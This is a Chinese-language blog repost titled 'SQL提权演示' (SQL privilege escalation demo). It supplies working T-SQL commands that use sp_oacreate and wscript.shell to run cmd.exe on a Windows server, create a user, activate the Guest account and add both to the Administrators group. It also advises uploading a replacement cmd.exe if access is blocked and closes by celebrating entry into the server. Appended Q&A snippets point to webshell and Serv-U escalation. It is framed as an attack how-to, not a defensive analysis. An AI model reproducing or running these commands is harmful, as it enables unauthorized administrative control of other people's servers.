欢迎您访问我爱IT技术网,今天小编为你分享的电脑教程是建站经验系列之:【SQL提权演示】,下面是详细的分享!
SQL提权演示
SQL提权演示
首先想给大家了解一下SQL提权常用命令:
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名 --连接数据库。
eclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add' --添加新用户。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add' --把用户加到管理组
如果以上添加管理员失败的时候,我们可以尝试激活Guest。
eclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes' --激活GUEST用户
。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add' --把Guest加到管理组
注意:如果c:\windows\system32\cmd.exe 被删除,没权限访问或者拒绝访问的话,我们可以自己上传个CMD上去,然后路径修改我们上传的CMD路径就可以了。
下面给大家演示一下整个SQL提权的过程:
默认GUEST用户密码为空禁用状态!

激活GUEST用户

激活GUEST用户成功,但是没有权限,所以我们继续把GUEST这个用户添加到管理组!

把Guest加到管理组

成功把GUEST加到了管理组,成功进入了服务器!

进去后能做些什么?相信这个就不用我罗嗦了。
原始出处:http://www.flhacker.cn
版权所有-转载时必须以链接形式注明原始出处
以上所分享的是关于SQL提权演示,下面是编辑为你推荐的有价值的用户互动:
相关问题:网站提权详细原理
答:看视频去吧 http://v.ku6.com/show/C3_fqWBtic9JLLWn.html?loc=youce_tuijian >>详细
相关问题:求一个Mysql+PHP的网页可以进行SQL手工注入,急~
答:你还是自己写一个吧,上线的网站极少有这么大的安全问题的 >>详细
相关问题:关于WEBSHLL提权
答:关于提权的方法太多,偶逃了两节课整理出下面几点偶辅导员不会看到了吧 一:利用serv-u本地提权.使用最频繁..所有提权中成功率最高. 工具ftp.exe c:\winnt\system32\inetsrv\data\ C:\Documents and Settings\All Users\Documents 站点根目录 二:... >>详细
- 评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
-
